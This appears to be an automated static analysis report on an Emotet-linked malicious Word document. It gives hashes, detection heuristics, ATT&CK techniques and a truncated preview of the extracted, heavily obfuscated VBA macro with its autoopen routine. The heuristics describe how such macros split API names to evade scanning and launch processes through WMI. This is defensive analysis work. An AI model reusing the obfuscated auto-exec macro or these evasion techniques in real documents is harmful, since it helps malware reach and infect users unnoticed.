Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ad3710bcbfbca621…

MALICIOUS

Office (OLE)

182.9 KB Created: 2019-05-03 08:24:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: a369085cd4b8df5aa053efbb4454452c SHA-1: 8b7db4d02215bf6f8ca5dc8e412090aa99e649ce SHA-256: ad3710bcbfbca621f8f361781920c74e6ff21f6eec757a09961d2d7fefa8e20b
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical heuristic firing for VBA WMI Win32_Process launcher, indicating the use of VBA to execute processes via WMI. The presence of an AutoOpen macro and obfuscated API names like 'winmgmts' further supports this. ClamAV detection as 'Doc.Downloader.Emotet-6961571-0' strongly suggests the Emotet family, which commonly uses this technique to download and execute secondary payloads.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6961571-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6961571-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48469 bytes
SHA-256: b4bbfd2b890b26ec24bff186da4dad5724e0ab8a0651cdad9c37c77f24154e9d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "u186448_"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "A48033"
Attribute VB_Base = "0{9AB66006-30BF-4D23-9C1B-E33866D7A8EA}{F17C468E-30BE-4FA2-9900-1D00A51B6D3F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Q75_588"

Attribute VB_Name = "z68272"

Attribute VB_Name = "I6009126"
Attribute VB_Base = "0{B8AE5069-FB83-451A-B248-488A96D6DBD1}{35CE6481-853F-4A12-A1F6-1371FD2E7675}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "j355575"
Function P_403621(R65_2181)
   Select Case Y5__8541
Case w_52084 = X14616
WeekdayName F027995 + c333_382 + (K427768 / 311893928 + (v_6_92 - Hex(q33_6_2 - v69748 * Q_46226 + Cos(B794591 + 215685281 - 352000946))))
Case M93573 = D7736562
WeekdayName k1952064 + m95_784 + (s0058606 / 369746922 + (w7238179 - Hex(v34314 - h92_511 * D_45211 + Cos(k24626 + 971679756 - 523163877))))
End Select
   Select Case t9_44660
Case A44317 = m7508457
WeekdayName z3418_ + w45309 + (p36619 / 247588718 + (T6_17087 - Hex(n8_75908 - a884563 * A3_854 + Cos(G459750 + 823330785 - 579843263))))
Case F932223 = i8186458
WeekdayName d40485 + u3969871 + (D0727895 / 219524125 + (O_3164 - Hex(X69544 - J05169 * u658364 + Cos(f7365455 + 824673226 - 82169901))))
End Select
   Select Case j825568
Case i7_1150 = u117449
WeekdayName A_18__ + J_10_9 + (s96366 / 816472186 + (N7714976 - Hex(j7_81193 - n_307664 * Y299845 + Cos(J5572660 + 133300817 - 436270560))))
Case Q_624496 = O99370
WeekdayName k8748454 + E7506_ + (K74_78 / 985351992 + (d9__78 - Hex(c1_33913 - P054015 * h81_593 + Cos(K46032_ + 873663906 - 176770177))))
End Select
Set P_403621 = CVar(R65_2181)
   Select Case i2_20_91
Case w5895151 = P97476
WeekdayName t073667 + X106204 + (c629628 / 563635249 + (i7657433 - Hex(z3215__7 - z352_0 * S57000 + Cos(v843_723 + 551116620 - 308711073))))
Case T62106 = M568_2
WeekdayName E1543514 + K422776 + (r3714159 / 473267411 + (P094260 - Hex(w6085463 - s2851661 * o87292 + Cos(p_18659 + 358284753 - 413071179))))
End Select
   Select Case A340368
Case P391908 = v37729
WeekdayName T02174 + i2895702 + (f_538_ / 681486187 + (V1526322 - Hex(T8_741 - R0455212 * I3353708 + Cos(J6461_ + 24822658 - 398568105))))
Case E2__465 = O1576_7
WeekdayName Z5870809 + T6286471 + (C8302_ / 955901499 + (q66_1_48 - Hex(P27_78 - U040_4 * r206_810 + Cos(u71938 + 73124123 - 726124901))))
End Select
   Select Case G606939
Case G8_19073 = h8135933
WeekdayName D350_0 + Z3763_74 + (G_84683 / 739786347 + (U96__4 - Hex(O2106089 - X17258 * T9987302 + Cos(j77_3813 + 452577503 - 243430467))))
Case i8424173 = u1012769
WeekdayName d_19660 + H30772 + (b_96150 / 715500031 + (I65982 - Hex(f77792 - L61640 * z03_67 + Cos(z68585 + 625801103 - 667691583))))
End Select
End Function
Sub autoopen()
   Select Case k32051
Case E_35792 = d126_3_
WeekdayName w610703 + X3956066 + (z5457682 / 807355329 + (z2792_63 - Hex(M428782 - B63343 * U4_958 + Cos(C3750_3 + 761155360 - 416969660))))
Case J81967 = P9_4760
WeekdayName S7083276 + U13596 + (V56520_ / 626917154 + (v1_104 - Hex(u51754_6 - E429616 * v6_8756 + Cos(I530117 + 693031406 - 446444453))))
End Select
   Select Case I846209
Case X3767131 = E37374_4
WeekdayName i1684039 + Y89__851 + (R987_27 / 477895206 + (J73135 - Hex(L8069635 - O__04_5 * t82491 + Cos(u5986_6 + 855987001 - 245916624))))
Case z3569_39 = O48520
WeekdayName V168_4 + z915113 + (G5254730 / 291952869 + (D35139 - Hex(T33262_ - p33126_5 * D63078_ + Cos(U1233737 + 864864300 - 323233399))))
End Select

... (truncated)

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